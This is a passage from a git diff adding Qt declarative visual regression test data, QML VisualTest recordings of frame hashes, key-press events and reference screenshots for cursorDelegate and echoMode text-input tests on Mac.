+ msec: 2448
+ hash: "348438b012690f63956e6a865c4173c5"
+ }
+ Frame {
+ msec: 2464
+ hash: "b0c970656fdb5af48efc4bf0e1879f36"
+ }
+ Frame {
+ msec: 2480
+ hash: "7291a68c8e790f58e2440dfbe896c36d"
+ }
+ Frame {
+ msec: 2496
+ hash: "9bcbf9f7b35987c3acbd80031a688279"
+ }
+ Frame {
+ msec: 2512
+ hash: "48a00bd3f844e863338898bd28d845a4"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2528
+ hash: "dc5f63ee9e8d50f744f7b375a52e32c3"
+ }
+ Frame {
+ msec: 2544
+ hash: "f52d2f475a335a75fad0a0f84e812809"
+ }
+ Frame {
+ msec: 2560
+ hash: "bc54cefc8f0b84fc2432b0fb01203b9c"
+ }
+ Frame {
+ msec: 2576
+ hash: "e6f14d1181a0db90d2c2891fd6e82883"
+ }
+ Frame {
+ msec: 2592
+ hash: "1edc2fff7b3d76bbe2615810a5d15d41"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2608
+ hash: "5bc156937a29989a3a39761b58958fbd"
+ }
+ Frame {
+ msec: 2624
+ hash: "071d45235a669e870356efc60ba8016c"
+ }
+ Frame {
+ msec: 2640
+ hash: "1d588fb1f8321e4b437f924077fa7d60"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2656
+ hash: "ca9aff6590dda45a66cdca601dccaf59"
+ }
+ Frame {
+ msec: 2672
+ hash: "2553146fff0d367cc6fa2d11f0a5c83a"
+ }
+ Frame {
+ msec: 2688
+ hash: "05bd919cd91ff449027b188d9a24b61f"
+ }
+ Frame {
+ msec: 2704
+ hash: "35d6ce9ecef79d006d6416c3b0d75e79"
+ }
+ Frame {
+ msec: 2720
+ hash: "1459a2410a971e344d4dacccff1eb7da"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2736
+ hash: "bd04cc87db0138b57bf0feeafa7630f5"
+ }
+ Frame {
+ msec: 2752
+ hash: "81521187d5d88b62f4f7578ea4ee5f68"
+ }
+ Frame {
+ msec: 2768
+ hash: "f2f8d1e8232787da1e36d7e8a27b6d93"
+ }
+ Frame {
+ msec: 2784
+ hash: "a5dbd1f572419ca4a4b91629e522867f"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2800
+ hash: "23ab256301d7190f56c4f0af7f57bcc2"
+ }
+ Frame {
+ msec: 2816
+ hash: "3a106a01b1cf6b53b5f8721415538f15"
+ }
+ Frame {
+ msec: 2832
+ hash: "881f4de48cf79636f5cb292f4cacf842"
+ }
+ Frame {
+ msec: 2848
+ hash: "4abe8abf4f29a31220c03af143ef9978"
+ }
+ Frame {
+ msec: 2864
+ hash: "50db0e06ceb12795d3e11b2c4a04df9c"
+ }
+ Frame {
+ msec: 2880
+ hash: "39f759d5b58ffdaa79d438f932a72582"
+ }
+ Frame {
+ msec: 2896
+ image: "cursorDelegate.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "0cf83e3a000b8ae6a21ef64e5470430f"
+ }
+ Frame {
+ msec: 2928
+ hash: "07116cd7cf46fc692542ac57c3e30aea"
+ }
+ Frame {
+ msec: 2944
+ hash: "bd92a36fad90de909b5a29a6fead2160"
+ }
+ Frame {
+ msec: 2960
+ hash: "95c4d0cc52903dc70c9118e26cd58b7b"
+ }
+ Frame {
+ msec: 2976
+ hash: "cb6ca047657a99dbbb037c1c45b40866"
+ }
+ Frame {
+ msec: 2992
+ hash: "cb6ca047657a99dbbb037c1c45b40866"
+ }
+ Frame {
+ msec: 3008
+ hash: "cb6ca047657a99dbbb037c1c45b40866"
+ }
+ Frame {
+ msec: 3024
+ hash: "cb6ca047657a99dbbb037c1c45b40866"
+ }
+ Frame {
+ msec: 3040
+ hash: "cb6ca047657a99dbbb037c1c45b40866"
+ }
+ Frame {
+ msec: 3056
+ hash: "cb6ca047657a99dbbb037c1c45b40866"
+ }
+ Frame {
+ msec: 3072
+ hash: "95c4d0cc52903dc70c9118e26cd58b7b"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3088
+ hash: "f9e0bd08b722c16493a8886a19920dda"
+ }
+ Frame {
+ msec: 3104
+ hash: "0636b7c5cc215882c60b50f62133c715"
+ }
+ Frame {
+ msec: 3120
+ hash: "150b5a2f2e916b7023764c481c768492"
+ }
+ Frame {
+ msec: 3136
+ hash: "14bc879f562ace9d2d1a3f3980a72e1f"
+ }
+ Frame {
+ msec: 3152
+ hash: "2bdc09121f13e95e15e331ac90fbbe5e"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3168
+ hash: "b701aa41aff9df45cc4b35d23789ad46"
+ }
+ Frame {
+ msec: 3184
+ hash: "ad77330d51b1251576905a45fdbdf576"
+ }
+ Frame {
+ msec: 3200
+ hash: "4ab6780997a5a598d2da7fbbc19877b7"
+ }
+ Frame {
+ msec: 3216
+ hash: "43b324d0e4882147d316a5dc16eff4a5"
+ }
+ Frame {
+ msec: 3232
+ hash: "4379bfd0da6fedac77e2111d9fdc5ecb"
+ }
+ Frame {
+ msec: 3248
+ hash: "ca35937be71e1f982cedd33bdd09d127"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3264
+ hash: "f6bac38774fa8a09084c045e34fd1732"
+ }
+ Frame {
+ msec: 3280
+ hash: "6d8b58612860febb13800958cab3aecd"
+ }
+ Frame {
+ msec: 3296
+ hash: "7f921d2293cf547de3b5573dbf98d5bb"
+ }
+ Frame {
+ msec: 3312
+ hash: "18771337bbe826b5a34bd9705c79f56a"
+ }
+ Frame {
+ msec: 3328
+ hash: "3dd49406c4b39980908d8869dc3c060a"
+ }
+ Frame {
+ msec: 3344
+ hash: "8cae649565b5655d606f216334a0b5b5"
+ }
+ Frame {
+ msec: 3360
+ hash: "27c59b474d706ce79b5d075713c1ea88"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3376
+ hash: "6d70d654998bbc0a2431ca7c4a58cd3c"
+ }
+ Frame {
+ msec: 3392
+ hash: "bf55fffd1727c0d076e05e274dcebb0d"
+ }
+ Frame {
+ msec: 3408
+ hash: "d5b0696cbe2969723bb2fe740deeb81f"
+ }
+ Frame {
+ msec: 3424
+ hash: "27968050a9cf7d57d016274709086be1"
+ }
+ Frame {
+ msec: 3440
+ hash: "3bc037fd17d0d394b82ba19914f31b90"
+ }
+ Frame {
+ msec: 3456
+ hash: "117d7ad2d2ae47f3a0c2a68928534b76"
+ }
+ Frame {
+ msec: 3472
+ hash: "a538ce971f34a497c05258da2567a208"
+ }
+ Frame {
+ msec: 3488
+ hash: "91e2e5cc6efcffc9e58646a008a57c9d"
+ }
+ Frame {
+ msec: 3504
+ hash: "13db17cc3c6513014a95210a443e5842"
+ }
+ Key {
+ type: 7
+ key: 16777249
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3520
+ hash: "03325597bd4e7d7b6f7c84c848018872"
+ }
+ Frame {
+ msec: 3536
+ hash: "e96dc6d611d23553b363a765195604f9"
+ }
+ Key {
+ type: 7
+ key: 16777248
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3552
+ hash: "942476dd6fb7a4f3d10c398503cb7b90"
+ }
+ Frame {
+ msec: 3568
+ hash: "cbe34fd18b6355ae9be469a594b44192"
+ }
+ Frame {
+ msec: 3584
+ hash: "3dce89f398d2c856bcd32da34867ebd8"
+ }
+ Frame {
+ msec: 3600
+ hash: "c78608cde907bc09760d858795b43bbf"
+ }
+ Frame {
+ msec: 3616
+ hash: "75d1ae9c60573f9e27cd7c2d1706cbfc"
+ }
+ Frame {
+ msec: 3632
+ hash: "754e2fca1b3ed5ee9875aafb1a0c62d3"
+ }
+ Frame {
+ msec: 3648
+ hash: "a6f05fb5206a456bea790ba7ba31868c"
+ }
+ Frame {
+ msec: 3664
+ hash: "21008b3a5179e25f9b132a4c05b8b8c4"
+ }
+ Frame {
+ msec: 3680
+ hash: "37d2d2830f6ae6bf0c8fb29c5d4f521a"
+ }
+ Frame {
+ msec: 3696
+ hash: "d7a226b40a049dee56755af9206246b4"
+ }
+ Frame {
+ msec: 3712
+ hash: "d7d39e8f717bab17aaf8a12e4f9e0dfc"
+ }
+ Frame {
+ msec: 3728
+ hash: "1dd5625fb6a0ddbaa3919a1702695e9c"
+ }
+ Frame {
+ msec: 3744
+ hash: "e0b07106a5adc1603788444d48b9c3db"
+ }
+ Frame {
+ msec: 3760
+ hash: "db61ba19d56b69d148aeb182de596713"
+ }
+ Frame {
+ msec: 3776
+ hash: "39a59b2e9e0bee87d3ba50e1408bea1c"
+ }
+ Frame {
+ msec: 3792
+ hash: "f34175acc261ad79bc9d2083af04ae10"
+ }
+ Frame {
+ msec: 3808
+ hash: "2ec91bfdb0f106a526f6bde3eb0ed7ce"
+ }
+ Frame {
+ msec: 3824
+ hash: "183538d04cf009f100a1e49a3229c143"
+ }
+ Frame {
+ msec: 3840
+ hash: "fb09d44a5a5b5b795d562512e9547301"
+ }
+ Frame {
+ msec: 3856
+ image: "cursorDelegate.4.png"
+ }
+ Frame {
+ msec: 3872
+ hash: "39c81c6efdbc32b6e0378810404bef2c"
+ }
+ Frame {
+ msec: 3888
+ hash: "23d9a9a6a9d032c7e447407193ca51ef"
+ }
+ Frame {
+ msec: 3904
+ hash: "bdd00cfe933985fe77626114902ce823"
+ }
+ Frame {
+ msec: 3920
+ hash: "1d25c2753ccabdaaf47a669c28d9e2cb"
+ }
+ Frame {
+ msec: 3936
+ hash: "20fde9bbe26ebede31fc8c21dec3fcc5"
+ }
+ Frame {
+ msec: 3952
+ hash: "c9147c159aebb7aa51d4bac28f96cb57"
+ }
+ Frame {
+ msec: 3968
+ hash: "68d331f508b43e756d6e30ba9b60f9aa"
+ }
+ Frame {
+ msec: 3984
+ hash: "af99069cdddfa9d099fbe25ba586e138"
+ }
+ Frame {
+ msec: 4000
+ hash: "af99069cdddfa9d099fbe25ba586e138"
+ }
+ Frame {
+ msec: 4016
+ hash: "af99069cdddfa9d099fbe25ba586e138"
+ }
+ Frame {
+ msec: 4032
+ hash: "af99069cdddfa9d099fbe25ba586e138"
+ }
+ Frame {
+ msec: 4048
+ hash: "af99069cdddfa9d099fbe25ba586e138"
+ }
+ Frame {
+ msec: 4064
+ hash: "68d331f508b43e756d6e30ba9b60f9aa"
+ }
+ Frame {
+ msec: 4080
+ hash: "c9147c159aebb7aa51d4bac28f96cb57"
+ }
+ Frame {
+ msec: 4096
+ hash: "20fde9bbe26ebede31fc8c21dec3fcc5"
+ }
+ Frame {
+ msec: 4112
+ hash: "1d25c2753ccabdaaf47a669c28d9e2cb"
+ }
+ Frame {
+ msec: 4128
+ hash: "bdd00cfe933985fe77626114902ce823"
+ }
+ Frame {
+ msec: 4144
+ hash: "23d9a9a6a9d032c7e447407193ca51ef"
+ }
+ Frame {
+ msec: 4160
+ hash: "39c81c6efdbc32b6e0378810404bef2c"
+ }
+ Frame {
+ msec: 4176
+ hash: "756f36cf41c2bae3a8a8716701e55e37"
+ }
+ Frame {
+ msec: 4192
+ hash: "fb09d44a5a5b5b795d562512e9547301"
+ }
+ Frame {
+ msec: 4208
+ hash: "183538d04cf009f100a1e49a3229c143"
+ }
+ Frame {
+ msec: 4224
+ hash: "2ec91bfdb0f106a526f6bde3eb0ed7ce"
+ }
+ Frame {
+ msec: 4240
+ hash: "f34175acc261ad79bc9d2083af04ae10"
+ }
+ Frame {
+ msec: 4256
+ hash: "39a59b2e9e0bee87d3ba50e1408bea1c"
+ }
+ Frame {
+ msec: 4272
+ hash: "db61ba19d56b69d148aeb182de596713"
+ }
+ Frame {
+ msec: 4288
+ hash: "e0b07106a5adc1603788444d48b9c3db"
+ }
+ Frame {
+ msec: 4304
+ hash: "1dd5625fb6a0ddbaa3919a1702695e9c"
+ }
+ Frame {
+ msec: 4320
+ hash: "d7d39e8f717bab17aaf8a12e4f9e0dfc"
+ }
+ Frame {
+ msec: 4336
+ hash: "d7a226b40a049dee56755af9206246b4"
+ }
+ Frame {
+ msec: 4352
+ hash: "37d2d2830f6ae6bf0c8fb29c5d4f521a"
+ }
+ Frame {
+ msec: 4368
+ hash: "21008b3a5179e25f9b132a4c05b8b8c4"
+ }
+ Frame {
+ msec: 4384
+ hash: "a6f05fb5206a456bea790ba7ba31868c"
+ }
+ Frame {
+ msec: 4400
+ hash: "754e2fca1b3ed5ee9875aafb1a0c62d3"
+ }
+ Frame {
+ msec: 4416
+ hash: "75d1ae9c60573f9e27cd7c2d1706cbfc"
+ }
+ Frame {
+ msec: 4432
+ hash: "c78608cde907bc09760d858795b43bbf"
+ }
+ Frame {
+ msec: 4448
+ hash: "3dce89f398d2c856bcd32da34867ebd8"
+ }
+ Frame {
+ msec: 4464
+ hash: "cbe34fd18b6355ae9be469a594b44192"
+ }
+ Frame {
+ msec: 4480
+ hash: "942476dd6fb7a4f3d10c398503cb7b90"
+ }
+ Frame {
+ msec: 4496
+ hash: "e96dc6d611d23553b363a765195604f9"
+ }
+ Frame {
+ msec: 4512
+ hash: "03325597bd4e7d7b6f7c84c848018872"
+ }
+ Frame {
+ msec: 4528
+ hash: "13db17cc3c6513014a95210a443e5842"
+ }
+ Frame {
+ msec: 4544
+ hash: "91e2e5cc6efcffc9e58646a008a57c9d"
+ }
+ Frame {
+ msec: 4560
+ hash: "a538ce971f34a497c05258da2567a208"
+ }
+ Frame {
+ msec: 4576
+ hash: "117d7ad2d2ae47f3a0c2a68928534b76"
+ }
+ Frame {
+ msec: 4592
+ hash: "3bc037fd17d0d394b82ba19914f31b90"
+ }
+ Frame {
+ msec: 4608
+ hash: "27968050a9cf7d57d016274709086be1"
+ }
+ Frame {
+ msec: 4624
+ hash: "d5b0696cbe2969723bb2fe740deeb81f"
+ }
+ Frame {
+ msec: 4640
+ hash: "bf55fffd1727c0d076e05e274dcebb0d"
+ }
+ Frame {
+ msec: 4656
+ hash: "6d70d654998bbc0a2431ca7c4a58cd3c"
+ }
+ Frame {
+ msec: 4672
+ hash: "27c59b474d706ce79b5d075713c1ea88"
+ }
+ Frame {
+ msec: 4688
+ hash: "8cae649565b5655d606f216334a0b5b5"
+ }
+ Frame {
+ msec: 4704
+ hash: "3dd49406c4b39980908d8869dc3c060a"
+ }
+ Frame {
+ msec: 4720
+ hash: "18771337bbe826b5a34bd9705c79f56a"
+ }
+ Frame {
+ msec: 4736
+ hash: "7f921d2293cf547de3b5573dbf98d5bb"
+ }
+ Frame {
+ msec: 4752
+ hash: "6d8b58612860febb13800958cab3aecd"
+ }
+ Frame {
+ msec: 4768
+ hash: "f6bac38774fa8a09084c045e34fd1732"
+ }
+ Frame {
+ msec: 4784
+ hash: "ca35937be71e1f982cedd33bdd09d127"
+ }
+ Frame {
+ msec: 4800
+ hash: "4379bfd0da6fedac77e2111d9fdc5ecb"
+ }
+ Frame {
+ msec: 4816
+ image: "cursorDelegate.5.png"
+ }
+ Frame {
+ msec: 4832
+ hash: "4ab6780997a5a598d2da7fbbc19877b7"
+ }
+ Frame {
+ msec: 4848
+ hash: "ad77330d51b1251576905a45fdbdf576"
+ }
+ Frame {
+ msec: 4864
+ hash: "b701aa41aff9df45cc4b35d23789ad46"
+ }
+ Frame {
+ msec: 4880
+ hash: "2bdc09121f13e95e15e331ac90fbbe5e"
+ }
+ Frame {
+ msec: 4896
+ hash: "14bc879f562ace9d2d1a3f3980a72e1f"
+ }
+ Frame {
+ msec: 4912
+ hash: "150b5a2f2e916b7023764c481c768492"
+ }
+ Frame {
+ msec: 4928
+ hash: "0636b7c5cc215882c60b50f62133c715"
+ }
+ Frame {
+ msec: 4944
+ hash: "f9e0bd08b722c16493a8886a19920dda"
+ }
+ Frame {
+ msec: 4960
+ hash: "f499f4b3017c88c63f0a2035ad527a0e"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/echoMode.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/echoMode.0.png
new file mode 100644
index 00000000..57a1599c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/echoMode.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/echoMode.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/echoMode.1.png
new file mode 100644
index 00000000..d327d5b7
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/echoMode.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/echoMode.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/echoMode.2.png
new file mode 100644
index 00000000..c1e3dce7
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/echoMode.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/echoMode.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/echoMode.3.png
new file mode 100644
index 00000000..5dad108c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/echoMode.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/echoMode.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/echoMode.qml
new file mode 100644
index 00000000..6081aaf7
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/echoMode.qml
@@ -0,0 +1,1043 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "echoMode.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "0e7c7dc19aab217751411568b58830ef"
+ }
+ Key {
+ type: 6
+ key: 16777248
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 48
+ hash: "0e7c7dc19aab217751411568b58830ef"
+ }
+ Frame {
+ msec: 64
+ hash: "0e7c7dc19aab217751411568b58830ef"
+ }
+ Frame {
+ msec: 80
+ hash: "0e7c7dc19aab217751411568b58830ef"
+ }
+ Frame {
+ msec: 96
+ hash: "0e7c7dc19aab217751411568b58830ef"
+ }
+ Frame {
+ msec: 112
+ hash: "0e7c7dc19aab217751411568b58830ef"
+ }
+ Frame {
+ msec: 128
+ hash: "0e7c7dc19aab217751411568b58830ef"
+ }
+ Frame {
+ msec: 144
+ hash: "0e7c7dc19aab217751411568b58830ef"
+ }
+ Frame {
+ msec: 160
+ hash: "0e7c7dc19aab217751411568b58830ef"
+ }
+ Frame {
+ msec: 176
+ hash: "0e7c7dc19aab217751411568b58830ef"
+ }
+ Frame {
+ msec: 192
+ hash: "0e7c7dc19aab217751411568b58830ef"
+ }
+ Frame {
+ msec: 208
+ hash: "0e7c7dc19aab217751411568b58830ef"
+ }
+ Frame {
+ msec: 224
+ hash: "0e7c7dc19aab217751411568b58830ef"
+ }
+ Frame {
+ msec: 240
+ hash: "0e7c7dc19aab217751411568b58830ef"
+ }
+ Frame {
+ msec: 256
+ hash: "0e7c7dc19aab217751411568b58830ef"
+ }
+ Frame {
+ msec: 272
+ hash: "0e7c7dc19aab217751411568b58830ef"
+ }
+ Frame {
+ msec: 288
+ hash: "0e7c7dc19aab217751411568b58830ef"
+ }
+ Frame {
+ msec: 304
+ hash: "0e7c7dc19aab217751411568b58830ef"
+ }
+ Frame {
+ msec: 320
+ hash: "0e7c7dc19aab217751411568b58830ef"
+ }
+ Frame {
+ msec: 336
+ hash: "0e7c7dc19aab217751411568b58830ef"
+ }
+ Frame {
+ msec: 352
+ hash: "0e7c7dc19aab217751411568b58830ef"
+ }
+ Key {
+ type: 6
+ key: 74
+ modifiers: 33554432
+ text: "4a"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 368
+ hash: "593867b082681c362d7dffda12615284"
+ }
+ Frame {
+ msec: 384
+ hash: "593867b082681c362d7dffda12615284"
+ }
+ Frame {
+ msec: 400
+ hash: "593867b082681c362d7dffda12615284"
+ }
+ Frame {
+ msec: 416
+ hash: "593867b082681c362d7dffda12615284"
+ }
+ Frame {
+ msec: 432
+ hash: "593867b082681c362d7dffda12615284"
+ }
+ Key {
+ type: 7
+ key: 74
+ modifiers: 33554432
+ text: "4a"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 448
+ hash: "593867b082681c362d7dffda12615284"
+ }
+ Frame {
+ msec: 464
+ hash: "593867b082681c362d7dffda12615284"
+ }
+ Frame {
+ msec: 480
+ hash: "593867b082681c362d7dffda12615284"
+ }
+ Frame {
+ msec: 496
+ hash: "593867b082681c362d7dffda12615284"
+ }
+ Frame {
+ msec: 512
+ hash: "593867b082681c362d7dffda12615284"
+ }
+ Frame {
+ msec: 528
+ hash: "593867b082681c362d7dffda12615284"
+ }
+ Key {
+ type: 7
+ key: 16777248
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 544
+ hash: "593867b082681c362d7dffda12615284"
+ }
+ Frame {
+ msec: 560
+ hash: "593867b082681c362d7dffda12615284"
+ }
+ Frame {
+ msec: 576
+ hash: "593867b082681c362d7dffda12615284"
+ }
+ Frame {
+ msec: 592
+ hash: "593867b082681c362d7dffda12615284"
+ }
+ Frame {
+ msec: 608
+ hash: "593867b082681c362d7dffda12615284"
+ }
+ Frame {
+ msec: 624
+ hash: "593867b082681c362d7dffda12615284"
+ }
+ Frame {
+ msec: 640
+ hash: "593867b082681c362d7dffda12615284"
+ }
+ Frame {
+ msec: 656
+ hash: "593867b082681c362d7dffda12615284"
+ }
+ Frame {
+ msec: 672
+ hash: "593867b082681c362d7dffda12615284"
+ }
+ Frame {
+ msec: 688
+ hash: "593867b082681c362d7dffda12615284"
+ }
+ Key {
+ type: 6
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 704
+ hash: "8d4a4baca932c318fba437b05962a635"
+ }
+ Frame {
+ msec: 720
+ hash: "8d4a4baca932c318fba437b05962a635"
+ }
+ Frame {
+ msec: 736
+ hash: "8d4a4baca932c318fba437b05962a635"
+ }
+ Frame {
+ msec: 752
+ hash: "8d4a4baca932c318fba437b05962a635"
+ }
+ Frame {
+ msec: 768
+ hash: "8d4a4baca932c318fba437b05962a635"
+ }
+ Key {
+ type: 7
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 784
+ hash: "8d4a4baca932c318fba437b05962a635"
+ }
+ Frame {
+ msec: 800
+ hash: "8d4a4baca932c318fba437b05962a635"
+ }
+ Frame {
+ msec: 816
+ hash: "8d4a4baca932c318fba437b05962a635"
+ }
+ Frame {
+ msec: 832
+ hash: "8d4a4baca932c318fba437b05962a635"
+ }
+ Frame {
+ msec: 848
+ hash: "8d4a4baca932c318fba437b05962a635"
+ }
+ Key {
+ type: 6
+ key: 67
+ modifiers: 0
+ text: "63"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 864
+ hash: "b2698dba3a5ebe80e26f273b32857506"
+ }
+ Frame {
+ msec: 880
+ hash: "b2698dba3a5ebe80e26f273b32857506"
+ }
+ Frame {
+ msec: 896
+ hash: "b2698dba3a5ebe80e26f273b32857506"
+ }
+ Key {
+ type: 7
+ key: 67
+ modifiers: 0
+ text: "63"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 912
+ hash: "b2698dba3a5ebe80e26f273b32857506"
+ }
+ Frame {
+ msec: 928
+ hash: "b2698dba3a5ebe80e26f273b32857506"
+ }
+ Frame {
+ msec: 944
+ hash: "b2698dba3a5ebe80e26f273b32857506"
+ }
+ Frame {
+ msec: 960
+ hash: "b2698dba3a5ebe80e26f273b32857506"
+ }
+ Frame {
+ msec: 976
+ image: "echoMode.1.png"
+ }
+ Key {
+ type: 6
+ key: 75
+ modifiers: 0
+ text: "6b"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 992
+ hash: "3ea06a90d633d5e9fe5a11cc4ed67764"
+ }
+ Frame {
+ msec: 1008
+ hash: "3ea06a90d633d5e9fe5a11cc4ed67764"
+ }
+ Frame {
+ msec: 1024
+ hash: "3ea06a90d633d5e9fe5a11cc4ed67764"
+ }
+ Frame {
+ msec: 1040
+ hash: "3ea06a90d633d5e9fe5a11cc4ed67764"
+ }
+ Key {
+ type: 7
+ key: 75
+ modifiers: 0
+ text: "6b"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1056
+ hash: "3ea06a90d633d5e9fe5a11cc4ed67764"
+ }
+ Frame {
+ msec: 1072
+ hash: "3ea06a90d633d5e9fe5a11cc4ed67764"
+ }
+ Frame {
+ msec: 1088
+ hash: "3ea06a90d633d5e9fe5a11cc4ed67764"
+ }
+ Frame {
+ msec: 1104
+ hash: "3ea06a90d633d5e9fe5a11cc4ed67764"
+ }
+ Frame {
+ msec: 1120
+ hash: "3ea06a90d633d5e9fe5a11cc4ed67764"
+ }
+ Frame {
+ msec: 1136
+ hash: "3ea06a90d633d5e9fe5a11cc4ed67764"
+ }
+ Frame {
+ msec: 1152
+ hash: "3ea06a90d633d5e9fe5a11cc4ed67764"
+ }
+ Frame {
+ msec: 1168
+ hash: "3ea06a90d633d5e9fe5a11cc4ed67764"
+ }
+ Frame {
+ msec: 1184
+ hash: "3ea06a90d633d5e9fe5a11cc4ed67764"
+ }
+ Frame {
+ msec: 1200
+ hash: "3ea06a90d633d5e9fe5a11cc4ed67764"
+ }
+ Frame {
+ msec: 1216
+ hash: "3ea06a90d633d5e9fe5a11cc4ed67764"
+ }
+ Frame {
+ msec: 1232
+ hash: "3ea06a90d633d5e9fe5a11cc4ed67764"
+ }
+ Key {
+ type: 6
+ key: 68
+ modifiers: 0
+ text: "64"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1248
+ hash: "a190bbf59ec807391077b9d1183f72b5"
+ }
+ Frame {
+ msec: 1264
+ hash: "a190bbf59ec807391077b9d1183f72b5"
+ }
+ Frame {
+ msec: 1280
+ hash: "a190bbf59ec807391077b9d1183f72b5"
+ }
+ Key {
+ type: 7
+ key: 68
+ modifiers: 0
+ text: "64"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1296
+ hash: "a190bbf59ec807391077b9d1183f72b5"
+ }
+ Frame {
+ msec: 1312
+ hash: "a190bbf59ec807391077b9d1183f72b5"
+ }
+ Frame {
+ msec: 1328
+ hash: "a190bbf59ec807391077b9d1183f72b5"
+ }
+ Key {
+ type: 6
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1344
+ hash: "f171a98a3a726b517ad4b401a0720ba2"
+ }
+ Frame {
+ msec: 1360
+ hash: "f171a98a3a726b517ad4b401a0720ba2"
+ }
+ Frame {
+ msec: 1376
+ hash: "f171a98a3a726b517ad4b401a0720ba2"
+ }
+ Frame {
+ msec: 1392
+ hash: "f171a98a3a726b517ad4b401a0720ba2"
+ }
+ Frame {
+ msec: 1408
+ hash: "f171a98a3a726b517ad4b401a0720ba2"
+ }
+ Frame {
+ msec: 1424
+ hash: "f171a98a3a726b517ad4b401a0720ba2"
+ }
+ Frame {
+ msec: 1440
+ hash: "f171a98a3a726b517ad4b401a0720ba2"
+ }
+ Frame {
+ msec: 1456
+ hash: "f171a98a3a726b517ad4b401a0720ba2"
+ }
+ Frame {
+ msec: 1472
+ hash: "f171a98a3a726b517ad4b401a0720ba2"
+ }
+ Key {
+ type: 7
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1488
+ hash: "f171a98a3a726b517ad4b401a0720ba2"
+ }
+ Key {
+ type: 6
+ key: 87
+ modifiers: 0
+ text: "77"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1504
+ hash: "e7199e4284be9dea34caff7bde0f6303"
+ }
+ Frame {
+ msec: 1520
+ hash: "e7199e4284be9dea34caff7bde0f6303"
+ }
+ Frame {
+ msec: 1536
+ hash: "e7199e4284be9dea34caff7bde0f6303"
+ }
+ Frame {
+ msec: 1552
+ hash: "e7199e4284be9dea34caff7bde0f6303"
+ }
+ Key {
+ type: 7
+ key: 87
+ modifiers: 0
+ text: "77"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1568
+ hash: "e7199e4284be9dea34caff7bde0f6303"
+ }
+ Frame {
+ msec: 1584
+ hash: "e7199e4284be9dea34caff7bde0f6303"
+ }
+ Frame {
+ msec: 1600
+ hash: "e7199e4284be9dea34caff7bde0f6303"
+ }
+ Frame {
+ msec: 1616
+ hash: "e7199e4284be9dea34caff7bde0f6303"
+ }
+ Frame {
+ msec: 1632
+ hash: "e7199e4284be9dea34caff7bde0f6303"
+ }
+ Frame {
+ msec: 1648
